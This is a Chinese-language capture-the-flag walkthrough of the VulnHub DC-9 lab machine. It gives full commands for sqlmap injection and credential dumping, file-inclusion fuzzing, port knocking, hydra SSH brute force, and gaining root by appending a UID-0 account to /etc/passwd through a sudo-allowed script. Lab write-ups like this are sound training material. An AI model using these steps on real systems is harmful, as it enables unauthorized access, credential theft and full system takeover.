【复现】DC-9

suhaynn2026-06-11文章来源:SecHub网络安全社区


本次作为攻击机的服务器为kali:192.168.213.133

靶机:192.168.213.143

靶场链接:https://download.vulnhub.com/dc/DC-9.zip

靶场

搭建靶场,解压后导入到虚拟机,网卡使用NET

启动

渗透测试

目标主机信息收集

nmap扫描

主机发现

arp-scan -l 或者 nmap 192.168.213.0/24

显示过滤了22端口开放了80端口,在详细扫一遍端口信息

扫描开放端口

nmap -sT --min-rate 10000 -p- 192.168.213.143 -oA nmapscan/ports 使用TCP协议最低10000速率对靶机进行全端口扫描,结果保存到nmapscan/port

22端口状态又变成了closed

端口状态filtered:端口状态filtered由于报文无法到达指定的端口,nmap不能够决定端口的开放状态。 端口状态closed:端口状态closed只是在扫描的这个时刻为关闭,当在另一个时间段进行扫描的时候,这些关闭的端口可能会处于开放状态

扫描端口服务详细信息

nmap -sT -sV -sC -O -p22,80 192.168.213.143 -oA nmapscan/detail -sV使用TCP协议探测, -sV探测各服务版本, -sC用脚本进行扫描, -O探测服务器版本, -p$ports指定端口进行探测, -oA nmapscan/detail保存到文件

80端口使用的apache

进行漏洞脚本扫描

nmap --script=vuln -p22,80 192.168.213.143 -oA nmapscan/vuln

这个CVE-2017-1001000 漏洞 - 这是一个 Apache 服务器的漏洞,可能导致远程代码执行。但是由于脚本执行失败,无法确认是否存在此漏洞。

扫出来一大堆CSRF,没啥用

dirsearch目录扫描

进行目录扫描

dirsearch -u 192.168.213.143

扫出来东西有限,进去看看吧

web信息收集

查看80端口

Home

这是员工的详细信息

Display All Records

这是员工的联系方式

Search

此处搜索可以使用名字或姓氏进行搜索

Manage

管理处是管理员登录的地方,待会儿尝试爆破哈,没有办法枚举用户名哈

尝试SQL注入

关注搜索模块

看完整体大样,除了搜索处和登录处存在和后台交互的点,其他地方等于啥都没有。

关于搜索处和登录处,一般的思路就是测试SQL注入和XSS注入,xss对我们来说没什么用,我们测试一下SQL注入。

不想手动测试了,直接抓包丢给Sqlmap跑,将数据包保存为txt文件

vim post.txt

sqlmap -r post.txt

可以直接跑出来,存在时间盲注和联合查询注入

指定注入类型

sqlmap -r post.txt --dbs --technique U

存在两个可疑数据库,我们都进去瞅瞅

查询当前数据库用户权限

sqlmap -r post.txt --privileges --is-dba --current-user

当前数据库用户 ‘dbuser@localhost’ 具有 ‘USAGE’ 权限,这是一个非常基本的数据库权限,允许用户连接到数据库,但不授予任何重要的权限。这意味着 ‘dbuser’ 用户不是数据库管理员(DBA),在数据库服务器上没有提升的权限。

查询Staff数据库表名

sqlmap -r post.txt -D Staff --tables --technique U

我们对Users表感兴趣

查询Staff数据库的Users表内容

sqlmap -r post.txt -D Staff -T Users --dump --technique U

这应该是该站点管理员的账户密码

856f5de590ef37314e7c3bdf6f8a66dc | admin

把hash值丢给cmd5,还是一条付费记录

得到账户admin/transorbital1

查询users数据库表名

sqlmap -r post.txt -D users --tables --technique U

存在一个表UserDetails

查询users数据库的UserDetails表内容

sqlmap -r post.txt -D users -T UserDetails --dump --technique U

这里边是刚刚前端看到的17个职员的信息,都是职员,权限应该大部分没有管理员的大,所有我们应该对管理员的账户密码感兴趣

后渗透

登录管理后台

登录后台admin/transorbital1

进来之后发现好像只多了一个添加记录的功能

尝试文件包含

没什么多余的功能点了,仔细观察管理页面,和登录之前做对比,发现多了一个东西 File does not exist

莫非是有什么文件包含吗

爆破文件包含参数

抓包爆破一下吧

果然存在,参数是file

放大看一看这个文件,我们会发现这几个ssh可登录用户是刚刚sqlmap跑出来的,有账号和密码,讲道理应该会开放22端口的

爆破文件包含文件

换上文件字典,这个字段最好强大一点

爆破出来的这几个文件,/etc/knockd.conf这个文件是感兴趣的,他解释了上边22端口的问题

knockd敲门开放22端口

/etc/knockd.conf里的配置会导致ssh连接被拒绝,它通过动态的添加iptables规则来隐藏系统开启的服务。

使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。

不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。

配置解释

[options] UseSyslog #用来定义日志输出位置以及文件名 [openSSH] sequence = 7469,8475,9842 #设置(开门)敲门顺序,可以自定义 seq_timeout = 25 #设置超时时间 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT #开门成功后添加防火墙规则命令(打开SSH端口) tcpflags = syn [closeSSH] sequence = 9842,8475,7469 #设置(关门)敲门顺序,与开门顺序相反 seq_timeout = 25 #设置超时时间 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT #关门成功后删除之前添加的防火墙规则(关闭SSH端口) tcpflags = syn

尝试nmap敲门

我们尝试敲门,看22端口是否开放

nmap -p 7469 192.168.213.143 nmap -p 8475 192.168.213.143 nmap -p 9842 192.168.213.143 nmap -p 22 192.168.213.143

或者用nc来敲门,更快

尝试用nc敲门

nc -z 192.168.213.143 7469 8475 9842 #开门 nc -z 192.168.213.143 9842 8475 7469 #关门

好啦,,现在尝试用刚刚slqmap跑出来的账户密码爆破ssh登录吧

九头蛇hydra爆破ssh登录

将账户密码分别写入到username.txt,password.txt

vim username.txt

vim password.txt

hydra -L username.txt -P password.txt ssh://192.168.213.143 -t 30 #明确指定了使用 SSH 协议 hydra -L username.txt -P password.txt 192.168.213.143 ssh -t 30 #在命令行中分别指定 IP 地址和协议名称

爆破出三组账户密码

chandlerb/UrAG0D!

joeyt/Passw0rd

janitor/Ilovepeepee

都登录进去,看看各自家目录有啥东西没,发现只有janitor用户家目录有一个隐藏文件,打开是一串密码

将这一串添加到password.txt再次进行ssh爆破

再次九头蛇hydra爆破ssh登录

hydra -L username.txt -P password.txt 192.168.213.143 ssh -t 30

撞出了新的用户fredf/B4-Tru3-001

登录fredf用户

尝试提权

查看可利用sudo权限

sudo -l

可以看到免密使用root权限运行/opt/devstuff/dist/test/test

先运行一下,提示运行test.py需要两个参数: readappend

查找test.py位置

find / -name "test.py" 2>/dev/null

/opt/devstuff/test.py

分析一下test.py

#!/usr/bin/python import sys if len (sys.argv) != 3 : print ("Usage: python test.py read append") sys.exit (1) else : f = open(sys.argv[1], "r") output = (f.read()) f = open(sys.argv[2], "a") f.write(output) f.close()

大意是:这个 Python 脚本接受两个命令行参数,第一个参数是要读取的文件,第二个参数是要将内容追加到的文件。如果参数数量不正确,就会打印用法提示并以非零退出码退出。否则,就会读取第一个文件的内容,并将其追加到第二个文件中。

这也解释刚刚运行/opt/devstuff/dist/test/test这个文件时返回缺两个参数

尝试写入/etc/passwd提取

工具:openssl

我们使用openssl生成hash

openssl passwd -1 -salt DC9 123456 //创造一个账号:DC9,密码:DC9(hash)的用户 -1 :使用md5加密算法 -salt :自动插入一个随机数作为文件内容加密
$1$DC9$Xug09hvtJ0EIhUq.BKwOO1

查看root用户的用户信息

cat /etc/passwd

以root用户信息格式完成创建DC9用户的信息,hash值替换掉x

[⽤户名]:[密码]:[UID]:[GID]:[⾝份描述]:[主⽬录]:[登录shell]

DC9:$1$DC9$Xug09hvtJ0EIhUq.BKwOO1:0:0:root:/root:/bin/bash

将上述信息写入到某文件,我就写在/tmp/DC9这里了

echo 'DC9:$1$DC9$Xug09hvtJ0EIhUq.BKwOO1:0:0:root:/root:/bin/bash' >> /tmp/DC9

将DC9信息利用test.py脚本以root权限写入/etc/passwd

sudo /opt/devstuff/dist/test/test /tmp/DC9 /etc/passwd

成功写入

切换用户DC9/123456得到flag